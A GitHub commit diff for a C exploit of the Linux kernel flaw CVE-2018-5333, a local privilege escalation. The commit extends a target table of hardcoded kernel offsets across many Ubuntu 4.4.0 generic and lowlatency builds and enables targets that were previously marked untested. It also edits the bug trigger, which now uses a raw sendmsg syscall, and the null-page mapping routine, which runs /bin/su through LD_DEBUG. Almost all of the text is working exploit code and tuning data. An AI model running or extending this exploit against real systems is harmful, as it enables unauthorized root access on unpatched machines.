Skip to content

Commit 1f5cf23

Browse files
committed
[CVE-2018-5333] Add targets
1 parent 754f445 commit 1f5cf23

File tree

1 file changed

+19
-10
lines changed

1 file changed

+19
-10
lines changed

CVE-2018-5333/cve-2018-5333.c

Lines changed: 19 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -148,15 +148,10 @@ struct kernel_info kernels[] = {
148148
{ "4.4.0-24-generic #43-Ubuntu", 0xa2340, 0xa2730, 0x5d0c5, 0x178447, 0x3f98b8, 0x64644, 0x7d125 },
149149
{ "4.4.0-28-generic #47-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x178717, 0x3f9f38, 0x64644, 0x585dc },
150150
{ "4.4.0-31-generic #50-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125 },
151+
{ "4.4.0-34-generic #53-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3fff48, 0x64644, 0x7d125 },
152+
{ "4.4.0-36-generic #55-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787c7, 0x400148, 0x64634, 0x7d115 },
151153
{ "4.4.0-38-generic #57-Ubuntu", 0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5 },
152154
{ "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 },
153-
{ "4.4.0-98-generic #121-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x17a427, 0x40a138, 0x64694, 0x4b243 },
154-
{ "4.4.0-108-generic #131-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
155-
{ "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
156-
{ "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
157-
{ "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },
158-
159-
/* Untested:
160155
{ "4.4.0-51-generic #72-Ubuntu", 0xa2670, 0xa2a60, 0x5d0c5, 0x178cf7, 0x404d78, 0x64634, 0x7d1a5 },
161156
{ "4.4.0-62-generic #83-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179747, 0x406a78, 0x64634, 0x7d1e5 },
162157
{ "4.4.0-63-generic #84-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
@@ -167,7 +162,11 @@ struct kernel_info kernels[] = {
167162
{ "4.4.0-89-generic #112-Ubuntu", 0xa28a0, 0xa2c90, 0x5d0c5, 0x179d27, 0x408ae8, 0x64694, 0x7d265 },
168163
{ "4.4.0-96-generic #119-Ubuntu", 0xa28c0, 0xa2cb0, 0x5d0c5, 0x179e27, 0x409a48, 0x64694, 0x7d235 },
169164
{ "4.4.0-97-generic #120-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x179e47, 0x409a58, 0x64694, 0x4ed41 },
170-
*/
165+
{ "4.4.0-98-generic #121-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x17a427, 0x40a138, 0x64694, 0x4b243 },
166+
{ "4.4.0-108-generic #131-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
167+
{ "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
168+
{ "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
169+
{ "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },
171170

172171
{ "4.4.0-21-lowlatency #37-Ubuntu", 0xa3150, 0xa3560, 0x5e0c5, 0x17b2c7, 0x401288, 0x64d34, 0x7d95c },
173172
{ "4.4.0-22-lowlatency #40-Ubuntu", 0xa31c0, 0xa35d0, 0x5e0c5, 0x17b397, 0x401b48, 0x64d34, 0x7d9bc },
@@ -178,7 +177,14 @@ struct kernel_info kernels[] = {
178177
{ "4.4.0-36-lowlatency #55-Ubuntu", 0xa3430, 0xa3840, 0x5e0c5, 0x17b9e7, 0x409318, 0x64d24, 0x7dacc },
179178
{ "4.4.0-38-lowlatency #57-Ubuntu", 0xa3500, 0xa3910, 0x5e0c5, 0x17bcb7, 0x409b38, 0x64d24, 0x4c030 },
180179
{ "4.4.0-42-lowlatency #62-Ubuntu", 0xa3560, 0xa3970, 0x5e0c5, 0x17bcf7, 0x409f68, 0x64d24, 0x7db6c },
180+
{ "4.4.0-70-lowlatency #91-Ubuntu", 0xa3780, 0xa3b90, 0x5e0c5, 0x17cae7, 0x4104c8, 0x64d54, 0x24454 },
181+
{ "4.4.0-79-lowlatency #100-Ubuntu", 0xa37c0, 0xa3bd0, 0x5e0c5, 0x17cd17, 0x411588, 0x64d54, 0x24454 },
182+
{ "4.4.0-87-lowlatency #110-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17cfd7, 0x411ad8, 0x64d74, 0x24454 },
183+
{ "4.4.0-89-lowlatency #112-Ubuntu", 0xa38e0, 0xa3cf0, 0x5e0c5, 0x17d037, 0x411e48, 0x64d74, 0x7dc0c },
184+
{ "4.4.0-96-lowlatency #119-Ubuntu", 0xa3910, 0xa3d20, 0x5e0c5, 0x17d137, 0x412d88, 0x64d84, 0x24454 },
185+
{ "4.4.0-97-lowlatency #120-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d157, 0x412d28, 0x64d84, 0x24454 },
181186
{ "4.4.0-98-lowlatency #121-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d737, 0x413408, 0x64d84, 0x24454 },
187+
{ "4.4.0-108-lowlatency #131-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac },
182188
{ "4.4.0-109-lowlatency #132-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac },
183189
{ "4.4.0-112-lowlatency #135-Ubuntu", 0xa5bd0, 0xa5fe0, 0x5f0c5, 0x17f9a7, 0x415448, 0x65d94, 0x7f8dc },
184190
{ "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef },
@@ -216,6 +222,7 @@ struct kernel_info kernels[] = {
216222
//{ "4.8.0-58-lowlatency #63~16.04.1-Ubuntu", 0xa6ef0, 0xa7300, 0x5e0c5, 0x18aee7, 0x447568, 0x649f4, 0x7f932 },
217223

218224
//{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
225+
//{ "4.10.0-19-generic #21~16.04.1-Ubuntu", 0xab620, 0xaba10, 0x600c5, 0x194b07, 0x4586a8, 0x67764, 0x34c4b },
219226
//{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
220227
//{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
221228
};
@@ -275,13 +282,15 @@ void trigger_bug()
275282
msg.msg_controllen = RAND_SIZE;
276283
msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL;
277284

278-
sendmsg(fd, &msg, 0);
285+
syscall(SYS_sendmsg, fd, &msg, 0);
279286
}
280287

281288
// * * * * * * * * * * * * * * map null address * * * * * * * * * * * * *
282289
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
283290

284291
void map_null() {
292+
char *suid_path = "/bin/su";
293+
285294
void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
286295
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
287296

@@ -307,7 +316,7 @@ void map_null() {
307316
exit(EXIT_FAILURE);
308317
}
309318
char cmd[1000];
310-
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
319+
sprintf(cmd, "LD_DEBUG=help %s 1>&%d", suid_path, fd);
311320
system(cmd);
312321
}
313322
}

0 commit comments

Comments
 (0)